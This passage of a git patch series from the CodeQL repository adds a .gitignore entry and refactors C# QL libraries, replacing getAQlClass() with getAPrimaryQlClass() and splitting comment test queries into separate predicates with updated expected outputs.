[PATCH 0779/1241] add .venv/ to .gitignore --- .gitignore | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.gitignore b/.gitignore index b14dab0a6b1..0951496d45c 100644 --- a/.gitignore +++ b/.gitignore @@ -17,6 +17,9 @@ # Byte-compiled python files *.pyc +# python virtual environment folder +.venv/ + # It's useful (though not required) to be able to unpack codeql in the ql checkout itself /codeql/ From 6fc14976cfbffb77087c93139f64b53a33ff20f5 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Fri, 22 Jan 2021 14:26:45 +0100 Subject: [PATCH 0780/1241] C#: Remove uses of `getAQlClass()` --- .../experimental/ir/implementation/IRType.qll | 2 +- .../src/semmle/code/cil/ConsistencyChecks.qll | 6 +- csharp/ql/src/semmle/code/csharp/Element.qll | 13 -- csharp/ql/src/semmle/code/dotnet/Element.qll | 13 ++ .../library-tests/comments/Comments.expected | 169 +++++++++--------- .../test/library-tests/comments/Comments.ql | 27 ++- .../frameworks/test/Test.expected | 56 ++---- .../library-tests/frameworks/test/Test.ql | 18 +- .../generics/ConsistencyChecks.ql | 2 +- 9 files changed, 145 insertions(+), 161 deletions(-) diff --git a/csharp/ql/src/experimental/ir/implementation/IRType.qll b/csharp/ql/src/experimental/ir/implementation/IRType.qll index 3bf3bf2e276..e0bccafae6b 100644 --- a/csharp/ql/src/experimental/ir/implementation/IRType.qll +++ b/csharp/ql/src/experimental/ir/implementation/IRType.qll @@ -341,7 +341,7 @@ module IRTypeConsistency { query predicate multipleIRTypes(Language::LanguageType type, string message) { strictcount(type.getIRType()) > 1 and message = - "`LanguageType` " + type.getAQlClass() + " has multiple `IRType`s: " + + "`LanguageType` " + type + " has multiple `IRType`s: " + concat(type.getIRType().toString(), ", ") } diff --git a/csharp/ql/src/semmle/code/cil/ConsistencyChecks.qll b/csharp/ql/src/semmle/code/cil/ConsistencyChecks.qll index f5ebe9a5103..bd6a1bc8885 100644 --- a/csharp/ql/src/semmle/code/cil/ConsistencyChecks.qll +++ b/csharp/ql/src/semmle/code/cil/ConsistencyChecks.qll @@ -473,7 +473,7 @@ class InvalidOverride extends MethodViolation { InvalidOverride() { base = getMethod().getOverriddenMethod() and not getMethod().getDeclaringType().getABaseType+() = base.getDeclaringType() and - base.getDeclaringType().isSourceDeclaration() // Bases classes of constructed types aren't extracted properly. + base.getDeclaringType().isUnboundDeclaration() // Bases classes of constructed types aren't extracted properly. } override string getMessage() { @@ -664,7 +664,7 @@ class MissingCilDeclaration extends ConsistencyViolation, MissingCSharpCheck { override string getMessage() { result = "Cannot locate CIL for " + getDeclaration().toStringWithTypes() + " of class " + - getDeclaration().getAQlClass() + getDeclaration().getAPrimaryQlClass() } override string toString() { result = getDeclaration().toStringWithTypes() } @@ -753,7 +753,7 @@ class DeclarationWithMultipleLabels extends DeclarationViolation { class DeclarationWithoutLabel extends DeclarationViolation { DeclarationWithoutLabel() { exists(Declaration d | this = DeclarationCheck(d) | - d.isSourceDeclaration() and + d.isUnboundDeclaration() and not d instanceof TypeParameter and not exists(d.getLabel()) and (d instanceof Callable or d instanceof Type) diff --git a/csharp/ql/src/semmle/code/csharp/Element.qll b/csharp/ql/src/semmle/code/csharp/Element.qll index f9ebbc5bef9..521138db1b5 100644 --- a/csharp/ql/src/semmle/code/csharp/Element.qll +++ b/csharp/ql/src/semmle/code/csharp/Element.qll @@ -48,17 +48,4 @@ class Element extends DotNet::Element, @element { * other children (zero-based). */ int getIndex() { exists(Element parent | parent.getChild(result) = this) } - - /** - * Gets the name of a primary CodeQL class to which this element belongs. - * - * For most elements, this is simply the most precise syntactic category to - * which they belong; for example, `AddExpr` is a primary class, but - * `BinaryOperation` is not. - * - * This predicate always has a result. If no primary class can be - * determined, the result is `"???"`. If multiple primary classes match, - * this predicate can have multiple results. - */ - string getAPrimaryQlClass() { result = "???" } } diff --git a/csharp/ql/src/semmle/code/dotnet/Element.qll b/csharp/ql/src/semmle/code/dotnet/Element.qll index 10a688d8ddd..956a5f2c052 100644 --- a/csharp/ql/src/semmle/code/dotnet/Element.qll +++ b/csharp/ql/src/semmle/code/dotnet/Element.qll @@ -36,6 +36,19 @@ class Element extends @dotnet_element { /** Gets the full textual representation of this element, including type information. */ string toStringWithTypes() { result = this.toString() } + + /** + * Gets the name of a primary CodeQL class to which this element belongs. + * + * For most elements, this is simply the most precise syntactic category to + * which they belong; for example, `AddExpr` is a primary class, but + * `BinaryOperation` is not. + * + * This predicate always has a result. If no primary class can be + * determined, the result is `"???"`. If multiple primary classes match, + * this predicate can have multiple results. + */ + string getAPrimaryQlClass() { result = "???" } } /** An element that has a name. */ diff --git a/csharp/ql/test/library-tests/comments/Comments.expected b/csharp/ql/test/library-tests/comments/Comments.expected index 28cf81d9754..388687e7857 100644 --- a/csharp/ql/test/library-tests/comments/Comments.expected +++ b/csharp/ql/test/library-tests/comments/Comments.expected @@ -1,83 +1,86 @@ -| comments1.cs:1:1:2:46 | // ... | 2 | comments1.cs:1:1:1:23 | // ... | Start of comment1.cs | // Start of comment1.cs | SinglelineComment | -| comments1.cs:1:1:2:46 | // ... | 2 | comments1.cs:2:1:2:46 | // ... | This tests the basic types of comment block | // This tests the basic types of comment block | SinglelineComment | -| comments1.cs:4:1:4:25 | // ... | 1 | comments1.cs:4:1:4:25 | // ... | 1) Basic comment types | // 1) Basic comment types | SinglelineComment | -| comments1.cs:6:1:6:24 | // ... | 1 | comments1.cs:6:1:6:24 | // ... | A single-line comment | // A single-line comment | SinglelineComment | -| comments1.cs:8:1:8:18 | /// ... | 1 | comments1.cs:8:1:8:18 | /// ... | An XML comment | /// An XML comment | XmlComment | -| comments1.cs:11:1:11:25 | /* ... */ | 1 | comments1.cs:11:1:11:25 | /* ... */ | A multiline comment | /* A multiline comment */ | MultilineComment | -| comments1.cs:14:1:14:20 | // ... | 1 | comments1.cs:14:1:14:20 | // ... | 2) Comment blocks | // 2) Comment blocks | SinglelineComment | -| comments1.cs:16:1:16:38 | // ... | 1 | comments1.cs:16:1:16:38 | // ... | A line on its own is a commentblock | // A line on its own is a commentblock | SinglelineComment | -| comments1.cs:18:1:19:31 | // ... | 2 | comments1.cs:18:1:18:21 | // ... | Two lines together | // Two lines together | SinglelineComment | -| comments1.cs:18:1:19:31 | // ... | 2 | comments1.cs:19:1:19:31 | // ... | are in the same commentblock | // are in the same commentblock | SinglelineComment | -| comments1.cs:21:1:23:15 | // ... | 3 | comments1.cs:21:1:21:14 | // ... | Three lines | // Three lines | SinglelineComment | -| comments1.cs:21:1:23:15 | // ... | 3 | comments1.cs:22:1:22:14 | // ... | in the same | // in the same | SinglelineComment | -| comments1.cs:21:1:23:15 | // ... | 3 | comments1.cs:23:1:23:15 | // ... | commentblock | // commentblock | SinglelineComment | -| comments1.cs:25:1:25:43 | /* ... */ | 2 | comments1.cs:25:1:25:15 | /* ... */ | This is a | /* This is a */ | MultilineComment | -| comments1.cs:25:1:25:43 | /* ... */ | 2 | comments1.cs:25:18:25:43 | /* ... */ | single comment block | /* single comment block */ | MultilineComment | -| comments1.cs:27:1:29:13 | /* ... */ | 3 | comments1.cs:27:1:27:12 | /* ... */ | This is a | /* This is a | MultilineComment | -| comments1.cs:27:1:29:13 | /* ... */ | 3 | comments1.cs:28:1:28:17 | /* ... */ | true multiline | true multiline | MultilineComment | -| comments1.cs:27:1:29:13 | /* ... */ | 3 | comments1.cs:29:1:29:13 | /* ... */ | comment | comment */ | MultilineComment | -| comments1.cs:31:1:33:30 | // ... | 3 | comments1.cs:31:1:31:21 | // ... | These three lines, | // These three lines, | SinglelineComment | -| comments1.cs:31:1:33:30 | // ... | 3 | comments1.cs:32:1:32:61 | /* ... */ | even though they are using different commenting styles, | /* even though they are using different commenting styles, */ | MultilineComment | -| comments1.cs:31:1:33:30 | // ... | 3 | comments1.cs:33:1:33:30 | /// ... | form a single commentblock | /// form a single commentblock | XmlComment | -| comments1.cs:37:5:39:41 | /* ... */ | 3 | comments1.cs:37:5:37:6 | /* ... */ | | /* | MultilineComment | -| comments1.cs:37:5:39:41 | /* ... */ | 3 | comments1.cs:38:1:38:6 | /* ... */ | | */ | MultilineComment | -| comments1.cs:37:5:39:41 | /* ... */ | 3 | comments1.cs:39:5:39:41 | // ... | This is not the same comment block | // This is not the same comment block | SinglelineComment | -| comments1.cs:40:13:41:51 | // ... | 2 | comments1.cs:40:13:40:27 | // ... | as this line | // as this line | SinglelineComment | -| comments1.cs:40:13:41:51 | // ... | 2 | comments1.cs:41:13:41:51 | // ... | because they are offset differently. | // because they are offset differently. | SinglelineComment | -| comments1.cs:43:15:43:36 | // ... | 1 | comments1.cs:43:15:43:36 | // ... | These are different | // These are different | SinglelineComment | -| comments1.cs:44:15:44:32 | // ... | 1 | comments1.cs:44:15:44:32 | // ... | comment blocks. | // comment blocks. | SinglelineComment | -| comments1.cs:47:1:47:21 | // ... | 1 | comments1.cs:47:1:47:21 | // ... | End of comment1.cs | // End of comment1.cs | SinglelineComment | -| comments2.cs:1:1:2:15 | // ... | 2 | comments2.cs:1:1:1:23 | // ... | Start of comment2.cs | // Start of comment2.cs | SinglelineComment | -| comments2.cs:1:1:2:15 | // ... | 2 | comments2.cs:2:1:2:15 | // ... | Unassociated | // Unassociated | SinglelineComment | -| comments2.cs:5:27:5:41 | // ... | 1 | comments2.cs:5:27:5:41 | // ... | Unassociated | // Unassociated | SinglelineComment | -| comments2.cs:8:1:8:15 | // ... | 1 | comments2.cs:8:1:8:15 | // ... | Unassociated | // Unassociated | SinglelineComment | -| comments2.cs:10:1:10:6 | /// ... | 1 | comments2.cs:10:1:10:6 | /// ... | C2 | /// C2 | XmlComment | -| comments2.cs:13:17:13:25 | // ... | 1 | comments2.cs:13:17:13:25 | // ... | field1 | // field1 | SinglelineComment | -| comments2.cs:14:17:14:25 | // ... | 1 | comments2.cs:14:17:14:25 | // ... | field2 | // field2 | SinglelineComment | -| comments2.cs:16:5:16:9 | // ... | 1 | comments2.cs:16:5:16:9 | // ... | C2 | // C2 | SinglelineComment | -| comments2.cs:18:5:18:8 | // ... | 1 | comments2.cs:18:5:18:8 | // ... | f | // f | SinglelineComment | -| comments2.cs:21:9:21:16 | // ... | 1 | comments2.cs:21:9:21:16 | // ... | {...} | // {...} | SinglelineComment | -| comments2.cs:23:15:23:21 | // ... | 1 | comments2.cs:23:15:23:21 | // ... | ...; | // ...; | SinglelineComment | -| comments2.cs:25:9:25:15 | // ... | 1 | comments2.cs:25:9:25:15 | // ... | ...; | // ...; | SinglelineComment | -| comments2.cs:31:9:31:15 | // ... | 1 | comments2.cs:31:9:31:15 | // ... | ...; | // ...; | SinglelineComment | -| comments2.cs:33:9:33:16 | // ... | 1 | comments2.cs:33:9:33:16 | // ... | {...} | // {...} | SinglelineComment | -| comments2.cs:36:9:36:16 | // ... | 1 | comments2.cs:36:9:36:16 | // ... | {...} | // {...} | SinglelineComment | -| comments2.cs:39:5:39:9 | // ... | 1 | comments2.cs:39:5:39:9 | // ... | C3 | // C3 | SinglelineComment | -| comments2.cs:42:9:42:13 | // ... | 1 | comments2.cs:42:9:42:13 | // ... | C3 | // C3 | SinglelineComment | -| comments2.cs:45:5:45:9 | // ... | 1 | comments2.cs:45:5:45:9 | // ... | C2 | // C2 | SinglelineComment | -| comments2.cs:47:5:47:9 | // ... | 1 | comments2.cs:47:5:47:9 | // ... | S1 | // S1 | SinglelineComment | -| comments2.cs:50:9:50:13 | // ... | 1 | comments2.cs:50:9:50:13 | // ... | S1 | // S1 | SinglelineComment | -| comments2.cs:52:28:52:35 | // ... | 1 | comments2.cs:52:28:52:35 | // ... | {...} | // {...} | SinglelineComment | -| comments2.cs:53:13:53:17 | // ... | 1 | comments2.cs:53:13:53:17 | // ... | S1 | // S1 | SinglelineComment | -| comments2.cs:55:13:55:20 | // ... | 1 | comments2.cs:55:13:55:20 | // ... | {...} | // {...} | SinglelineComment | -| comments2.cs:56:11:56:18 | // ... | 1 | comments2.cs:56:11:56:18 | // ... | {...} | // {...} | SinglelineComment | -| comments2.cs:58:5:58:9 | // ... | 1 | comments2.cs:58:5:58:9 | // ... | S1 | // S1 | SinglelineComment | -| comments2.cs:60:5:60:13 | // ... | 1 | comments2.cs:60:5:60:13 | // ... | Values | // Values | SinglelineComment | -| comments2.cs:63:9:63:17 | // ... | 1 | comments2.cs:63:9:63:17 | // ... | Values | // Values | SinglelineComment | -| comments2.cs:65:9:65:16 | // ... | 1 | comments2.cs:65:9:65:16 | // ... | First | // First | SinglelineComment | -| comments2.cs:66:17:66:24 | // ... | 1 | comments2.cs:66:17:66:24 | // ... | First | // First | SinglelineComment | -| comments2.cs:67:17:67:25 | // ... | 1 | comments2.cs:67:17:67:25 | // ... | Second | // Second | SinglelineComment | -| comments2.cs:69:9:70:10 | // ... | 2 | comments2.cs:69:9:69:17 | // ... | Values | // Values | SinglelineComment | -| comments2.cs:69:9:70:10 | // ... | 2 | comments2.cs:70:9:70:10 | // ... | | // | SinglelineComment | -| comments2.cs:72:9:72:16 | // ... | 1 | comments2.cs:72:9:72:16 | // ... | Third | // Third | SinglelineComment | -| comments2.cs:75:9:75:17 | // ... | 1 | comments2.cs:75:9:75:17 | // ... | Values | // Values | SinglelineComment | -| comments2.cs:78:5:78:21 | // ... | 1 | comments2.cs:78:5:78:21 | // ... | C2 Constructor | // C2 Constructor | SinglelineComment | -| comments2.cs:79:10:79:26 | // ... | 1 | comments2.cs:79:10:79:26 | // ... | C2 Constructor | // C2 Constructor | SinglelineComment | -| comments2.cs:81:9:81:16 | // ... | 1 | comments2.cs:81:9:81:16 | // ... | {...} | // {...} | SinglelineComment | -| comments2.cs:84:5:84:10 | // ... | 1 | comments2.cs:84:5:84:10 | // ... | ~C2 | // ~C2 | SinglelineComment | -| comments2.cs:85:11:85:16 | // ... | 1 | comments2.cs:85:11:85:16 | // ... | ~C2 | // ~C2 | SinglelineComment | -| comments2.cs:89:5:89:8 | // ... | 1 | comments2.cs:89:5:89:8 | // ... | + | // + | SinglelineComment | -| comments2.cs:90:46:90:49 | // ... | 1 | comments2.cs:90:46:90:49 | // ... | + | // + | SinglelineComment | -| comments2.cs:96:15:96:18 | // ... | 1 | comments2.cs:96:15:96:18 | // ... | x | // x | SinglelineComment | -| comments2.cs:97:13:97:16 | // ... | 1 | comments2.cs:97:13:97:16 | // ... | y | // y | SinglelineComment | -| comments2.cs:102:5:102:8 | // ... | 1 | comments2.cs:102:5:102:8 | // ... | D | // D | SinglelineComment | -| comments2.cs:103:31:104:34 | // ... | 2 | comments2.cs:103:31:103:34 | // ... | D | // D | SinglelineComment | -| comments2.cs:103:31:104:34 | // ... | 2 | comments2.cs:104:31:104:34 | // ... | D | // D | SinglelineComment | -| comments2.cs:106:5:106:8 | // ... | 1 | comments2.cs:106:5:106:8 | // ... | E | // E | SinglelineComment | -| comments2.cs:107:23:108:26 | // ... | 2 | comments2.cs:107:23:107:26 | // ... | E | // E | SinglelineComment | -| comments2.cs:107:23:108:26 | // ... | 2 | comments2.cs:108:23:108:26 | // ... | E | // E | SinglelineComment | -| comments2.cs:118:5:118:21 | // ... | 1 | comments2.cs:118:5:118:21 | // ... | GenericClass<> | // GenericClass<> | SinglelineComment | -| comments2.cs:121:17:121:20 | // ... | 1 | comments2.cs:121:17:121:20 | // ... | f | // f | SinglelineComment | -| comments2.cs:124:5:124:16 | // ... | 1 | comments2.cs:124:5:124:16 | // ... | GenericFn | // GenericFn | SinglelineComment | -| comments2.cs:127:20:127:23 | // ... | 1 | comments2.cs:127:20:127:23 | // ... | x | // x | SinglelineComment | -| comments2.cs:132:1:132:21 | // ... | 1 | comments2.cs:132:1:132:21 | // ... | End of comment2.cs | // End of comment2.cs | SinglelineComment | +singlelineComment +| comments1.cs:1:1:2:46 | // ... | comments1.cs:1:1:1:23 | // ... | 2 | Start of comment1.cs | // Start of comment1.cs | +| comments1.cs:1:1:2:46 | // ... | comments1.cs:2:1:2:46 | // ... | 2 | This tests the basic types of comment block | // This tests the basic types of comment block | +| comments1.cs:4:1:4:25 | // ... | comments1.cs:4:1:4:25 | // ... | 1 | 1) Basic comment types | // 1) Basic comment types | +| comments1.cs:6:1:6:24 | // ... | comments1.cs:6:1:6:24 | // ... | 1 | A single-line comment | // A single-line comment | +| comments1.cs:14:1:14:20 | // ... | comments1.cs:14:1:14:20 | // ... | 1 | 2) Comment blocks | // 2) Comment blocks | +| comments1.cs:16:1:16:38 | // ... | comments1.cs:16:1:16:38 | // ... | 1 | A line on its own is a commentblock | // A line on its own is a commentblock | +| comments1.cs:18:1:19:31 | // ... | comments1.cs:18:1:18:21 | // ... | 2 | Two lines together | // Two lines together | +| comments1.cs:18:1:19:31 | // ... | comments1.cs:19:1:19:31 | // ... | 2 | are in the same commentblock | // are in the same commentblock | +| comments1.cs:21:1:23:15 | // ... | comments1.cs:21:1:21:14 | // ... | 3 | Three lines | // Three lines | +| comments1.cs:21:1:23:15 | // ... | comments1.cs:22:1:22:14 | // ... | 3 | in the same | // in the same | +| comments1.cs:21:1:23:15 | // ... | comments1.cs:23:1:23:15 | // ... | 3 | commentblock | // commentblock | +| comments1.cs:31:1:33:30 | // ... | comments1.cs:31:1:31:21 | // ... | 3 | These three lines, | // These three lines, | +| comments1.cs:37:5:39:41 | /* ... */ | comments1.cs:39:5:39:41 | // ... | 3 | This is not the same comment block | // This is not the same comment block | +| comments1.cs:40:13:41:51 | // ... | comments1.cs:40:13:40:27 | // ... | 2 | as this line | // as this line | +| comments1.cs:40:13:41:51 | // ... | comments1.cs:41:13:41:51 | // ... | 2 | because they are offset differently. | // because they are offset differently. | +| comments1.cs:43:15:43:36 | // ... | comments1.cs:43:15:43:36 | // ... | 1 | These are different | // These are different | +| comments1.cs:44:15:44:32 | // ... | comments1.cs:44:15:44:32 | // ... | 1 | comment blocks. | // comment blocks. | +| comments1.cs:47:1:47:21 | // ... | comments1.cs:47:1:47:21 | // ... | 1 | End of comment1.cs | // End of comment1.cs | +| comments2.cs:1:1:2:15 | // ... | comments2.cs:1:1:1:23 | // ... | 2 | Start of comment2.cs | // Start of comment2.cs | +| comments2.cs:1:1:2:15 | // ... | comments2.cs:2:1:2:15 | // ... | 2 | Unassociated | // Unassociated | +| comments2.cs:5:27:5:41 | // ... | comments2.cs:5:27:5:41 | // ... | 1 | Unassociated | // Unassociated | +| comments2.cs:8:1:8:15 | // ... | comments2.cs:8:1:8:15 | // ... | 1 | Unassociated | // Unassociated | +| comments2.cs:13:17:13:25 | // ... | comments2.cs:13:17:13:25 | // ... | 1 | field1 | // field1 | +| comments2.cs:14:17:14:25 | // ... | comments2.cs:14:17:14:25 | // ... | 1 | field2 | // field2 | +| comments2.cs:16:5:16:9 | // ... | comments2.cs:16:5:16:9 | // ... | 1 | C2 | // C2 | +| comments2.cs:18:5:18:8 | // ... | comments2.cs:18:5:18:8 | // ... | 1 | f | // f | +| comments2.cs:21:9:21:16 | // ... | comments2.cs:21:9:21:16 | // ... | 1 | {...} | // {...} | +| comments2.cs:23:15:23:21 | // ... | comments2.cs:23:15:23:21 | // ... | 1 | ...; | // ...; | +| comments2.cs:25:9:25:15 | // ... | comments2.cs:25:9:25:15 | // ... | 1 | ...; | // ...; | +| comments2.cs:31:9:31:15 | // ... | comments2.cs:31:9:31:15 | // ... | 1 | ...; | // ...; | +| comments2.cs:33:9:33:16 | // ... | comments2.cs:33:9:33:16 | // ... | 1 | {...} | // {...} | +| comments2.cs:36:9:36:16 | // ... | comments2.cs:36:9:36:16 | // ... | 1 | {...} | // {...} | +| comments2.cs:39:5:39:9 | // ... | comments2.cs:39:5:39:9 | // ... | 1 | C3 | // C3 | +| comments2.cs:42:9:42:13 | // ... | comments2.cs:42:9:42:13 | // ... | 1 | C3 | // C3 | +| comments2.cs:45:5:45:9 | // ... | comments2.cs:45:5:45:9 | // ... | 1 | C2 | // C2 | +| comments2.cs:47:5:47:9 | // ... | comments2.cs:47:5:47:9 | // ... | 1 | S1 | // S1 | +| comments2.cs:50:9:50:13 | // ... | comments2.cs:50:9:50:13 | // ... | 1 | S1 | // S1 | +| comments2.cs:52:28:52:35 | // ... | comments2.cs:52:28:52:35 | // ... | 1 | {...} | // {...} | +| comments2.cs:53:13:53:17 | // ... | comments2.cs:53:13:53:17 | // ... | 1 | S1 | // S1 | +| comments2.cs:55:13:55:20 | // ... | comments2.cs:55:13:55:20 | // ... | 1 | {...} | // {...} | +| comments2.cs:56:11:56:18 | // ... | comments2.cs:56:11:56:18 | // ... | 1 | {...} | // {...} | +| comments2.cs:58:5:58:9 | // ... | comments2.cs:58:5:58:9 | // ... | 1 | S1 | // S1 | +| comments2.cs:60:5:60:13 | // ... | comments2.cs:60:5:60:13 | // ... | 1 | Values | // Values | +| comments2.cs:63:9:63:17 | // ... | comments2.cs:63:9:63:17 | // ... | 1 | Values | // Values | +| comments2.cs:65:9:65:16 | // ... | comments2.cs:65:9:65:16 | // ... | 1 | First | // First | +| comments2.cs:66:17:66:24 | // ... | comments2.cs:66:17:66:24 | // ... | 1 | First | // First | +| comments2.cs:67:17:67:25 | // ... | comments2.cs:67:17:67:25 | // ... | 1 | Second | // Second | +| comments2.cs:69:9:70:10 | // ... | comments2.cs:69:9:69:17 | // ... | 2 | Values | // Values | +| comments2.cs:69:9:70:10 | // ... | comments2.cs:70:9:70:10 | // ... | 2 | | // | +| comments2.cs:72:9:72:16 | // ... | comments2.cs:72:9:72:16 | // ... | 1 | Third | // Third | +| comments2.cs:75:9:75:17 | // ... | comments2.cs:75:9:75:17 | // ... | 1 | Values | // Values | +| comments2.cs:78:5:78:21 | // ... | comments2.cs:78:5:78:21 | // ... | 1 | C2 Constructor | // C2 Constructor | +| comments2.cs:79:10:79:26 | // ... | comments2.cs:79:10:79:26 | // ... | 1 | C2 Constructor | // C2 Constructor | +| comments2.cs:81:9:81:16 | // ... | comments2.cs:81:9:81:16 | // ... | 1 | {...} | // {...} | +| comments2.cs:84:5:84:10 | // ... | comments2.cs:84:5:84:10 | // ... | 1 | ~C2 | // ~C2 | +| comments2.cs:85:11:85:16 | // ... | comments2.cs:85:11:85:16 | // ... | 1 | ~C2 | // ~C2 | +| comments2.cs:89:5:89:8 | // ... | comments2.cs:89:5:89:8 | // ... | 1 | + | // + | +| comments2.cs:90:46:90:49 | // ... | comments2.cs:90:46:90:49 | // ... | 1 | + | // + | +| comments2.cs:96:15:96:18 | // ... | comments2.cs:96:15:96:18 | // ... | 1 | x | // x | +| comments2.cs:97:13:97:16 | // ... | comments2.cs:97:13:97:16 | // ... | 1 | y | // y | +| comments2.cs:102:5:102:8 | // ... | comments2.cs:102:5:102:8 | // ... | 1 | D | // D | +| comments2.cs:103:31:104:34 | // ... | comments2.cs:103:31:103:34 | // ... | 2 | D | // D | +| comments2.cs:103:31:104:34 | // ... | comments2.cs:104:31:104:34 | // ... | 2 | D | // D | +| comments2.cs:106:5:106:8 | // ... | comments2.cs:106:5:106:8 | // ... | 1 | E | // E | +| comments2.cs:107:23:108:26 | // ... | comments2.cs:107:23:107:26 | // ... | 2 | E | // E | +| comments2.cs:107:23:108:26 | // ... | comments2.cs:108:23:108:26 | // ... | 2 | E | // E | +| comments2.cs:118:5:118:21 | // ... | comments2.cs:118:5:118:21 | // ... | 1 | GenericClass<> | // GenericClass<> | +| comments2.cs:121:17:121:20 | // ... | comments2.cs:121:17:121:20 | // ... | 1 | f | // f | +| comments2.cs:124:5:124:16 | // ... | comments2.cs:124:5:124:16 | // ... | 1 | GenericFn | // GenericFn | +| comments2.cs:127:20:127:23 | // ... | comments2.cs:127:20:127:23 | // ... | 1 | x | // x | +| comments2.cs:132:1:132:21 | // ... | comments2.cs:132:1:132:21 | // ... | 1 | End of comment2.cs | // End of comment2.cs | +multilineComment +| comments1.cs:11:1:11:25 | /* ... */ | comments1.cs:11:1:11:25 | /* ... */ | 1 | A multiline comment | /* A multiline comment */ | +| comments1.cs:25:1:25:43 | /* ... */ | comments1.cs:25:1:25:15 | /* ... */ | 2 | This is a | /* This is a */ | +| comments1.cs:25:1:25:43 | /* ... */ | comments1.cs:25:18:25:43 | /* ... */ | 2 | single comment block | /* single comment block */ | +| comments1.cs:27:1:29:13 | /* ... */ | comments1.cs:27:1:27:12 | /* ... */ | 3 | This is a | /* This is a | +| comments1.cs:27:1:29:13 | /* ... */ | comments1.cs:28:1:28:17 | /* ... */ | 3 | true multiline | true multiline | +| comments1.cs:27:1:29:13 | /* ... */ | comments1.cs:29:1:29:13 | /* ... */ | 3 | comment | comment */ | +| comments1.cs:31:1:33:30 | // ... | comments1.cs:32:1:32:61 | /* ... */ | 3 | even though they are using different commenting styles, | /* even though they are using different commenting styles, */ | +| comments1.cs:37:5:39:41 | /* ... */ | comments1.cs:37:5:37:6 | /* ... */ | 3 | | /* | +| comments1.cs:37:5:39:41 | /* ... */ | comments1.cs:38:1:38:6 | /* ... */ | 3 | | */ | +xmlComment +| comments1.cs:8:1:8:18 | /// ... | comments1.cs:8:1:8:18 | /// ... | 1 | An XML comment | /// An XML comment | +| comments1.cs:31:1:33:30 | // ... | comments1.cs:33:1:33:30 | /// ... | 3 | form a single commentblock | /// form a single commentblock | +| comments2.cs:10:1:10:6 | /// ... | comments2.cs:10:1:10:6 | /// ... | 1 | C2 | /// C2 | diff --git a/csharp/ql/test/library-tests/comments/Comments.ql b/csharp/ql/test/library-tests/comments/Comments.ql index ab01b83572a..5ef8d3d75b9 100644 --- a/csharp/ql/test/library-tests/comments/Comments.ql +++ b/csharp/ql/test/library-tests/comments/Comments.ql @@ -1,5 +1,26 @@ import csharp -from CommentBlock c, CommentLine l -where l.getParent() = c -select c, c.getNumLines(), l, l.getText(), l.getRawText(), l.getAQlClass() +private predicate commentLine( + CommentBlock c, CommentLine l, int numLines, string text, string rawText +) { + l.getParent() = c and + numLines = c.getNumLines() and + text = l.getText() and + rawText = l.getRawText() +} + +query predicate singlelineComment( + CommentBlock c, SinglelineComment l, int numLines, string text, string rawText +) { + commentLine(c, l, numLines, text, rawText) +} + +query predicate multilineComment( + CommentBlock c, MultilineComment l, int numLines, string text, string rawText +) { + commentLine(c, l, numLines, text, rawText) +} + +query predicate xmlComment(CommentBlock c, XmlComment l, int numLines, string text, string rawText) { + commentLine(c, l, numLines, text, rawText) +} diff --git a/csharp/ql/test/library-tests/frameworks/test/Test.expected b/csharp/ql/test/library-tests/frameworks/test/Test.expected index 3ac740f05d8..2d16ac51cfa 100644 --- a/csharp/ql/test/library-tests/frameworks/test/Test.expected +++ b/csharp/ql/test/library-tests/frameworks/test/Test.expected @@ -1,42 +1,14 @@ -| VisualStudio.cs:9:11:9:21 | MyTestSuite | TestClass | LeafType | -| VisualStudio.cs:9:11:9:21 | MyTestSuite | TestClass | VSTestClass | -| VisualStudio.cs:12:21:12:25 | Test1 | TestMethod | CallableTree | -| VisualStudio.cs:12:21:12:25 | Test1 | TestMethod | CfgScope | -| VisualStudio.cs:12:21:12:25 | Test1 | TestMethod | InstanceCallable | -| VisualStudio.cs:12:21:12:25 | Test1 | TestMethod | VSTestMethod | -| VisualStudio.cs:17:21:17:25 | Test2 | TestMethod | CallableTree | -| VisualStudio.cs:17:21:17:25 | Test2 | TestMethod | CfgScope | -| VisualStudio.cs:17:21:17:25 | Test2 | TestMethod | InstanceCallable | -| VisualStudio.cs:17:21:17:25 | Test2 | TestMethod | VSTestMethod | -| XUnit.cs:22:11:22:21 | MyTestSuite | TestClass | LeafType | -| XUnit.cs:22:11:22:21 | MyTestSuite | TestClass | XUnitTestClass | -| XUnit.cs:25:21:25:25 | Test1 | TestMethod | CallableTree | -| XUnit.cs:25:21:25:25 | Test1 | TestMethod | CfgScope | -| XUnit.cs:25:21:25:25 | Test1 | TestMethod | InstanceCallable | -| XUnit.cs:25:21:25:25 | Test1 | TestMethod | XUnitTestMethod | -| XUnit.cs:30:21:30:25 | Test2 | TestMethod | CallableTree | -| XUnit.cs:30:21:30:25 | Test2 | TestMethod | CfgScope | -| XUnit.cs:30:21:30:25 | Test2 | TestMethod | InstanceCallable | -| XUnit.cs:30:21:30:25 | Test2 | TestMethod | XUnitTestMethod | -| nunit.cs:75:11:75:21 | MyTestSuite | TestClass | LeafType | -| nunit.cs:75:11:75:21 | MyTestSuite | TestClass | NUnitFixture | -| nunit.cs:85:21:85:25 | Test1 | TestMethod | CallableTree | -| nunit.cs:85:21:85:25 | Test1 | TestMethod | CfgScope | -| nunit.cs:85:21:85:25 | Test1 | TestMethod | InstanceCallable | -| nunit.cs:85:21:85:25 | Test1 | TestMethod | NUnitTestMethod | -| nunit.cs:90:21:90:25 | Test2 | TestMethod | CallableTree | -| nunit.cs:90:21:90:25 | Test2 | TestMethod | CfgScope | -| nunit.cs:90:21:90:25 | Test2 | TestMethod | InstanceCallable | -| nunit.cs:90:21:90:25 | Test2 | TestMethod | NUnitTestMethod | -| nunit.cs:95:21:95:25 | Test3 | TestMethod | CallableTree | -| nunit.cs:95:21:95:25 | Test3 | TestMethod | CfgScope | -| nunit.cs:95:21:95:25 | Test3 | TestMethod | InstanceCallable | -| nunit.cs:95:21:95:25 | Test3 | TestMethod | NUnitTestMethod | -| nunit.cs:100:21:100:25 | Test4 | TestMethod | CallableTree | -| nunit.cs:100:21:100:25 | Test4 | TestMethod | CfgScope | -| nunit.cs:100:21:100:25 | Test4 | TestMethod | InstanceCallable | -| nunit.cs:100:21:100:25 | Test4 | TestMethod | NUnitTestMethod | -| nunit.cs:105:21:105:25 | Test5 | TestMethod | CallableTree | -| nunit.cs:105:21:105:25 | Test5 | TestMethod | CfgScope | -| nunit.cs:105:21:105:25 | Test5 | TestMethod | InstanceCallable | -| nunit.cs:105:21:105:25 | Test5 | TestMethod | NUnitTestMethod | +testClass +| VisualStudio.cs:9:11:9:21 | 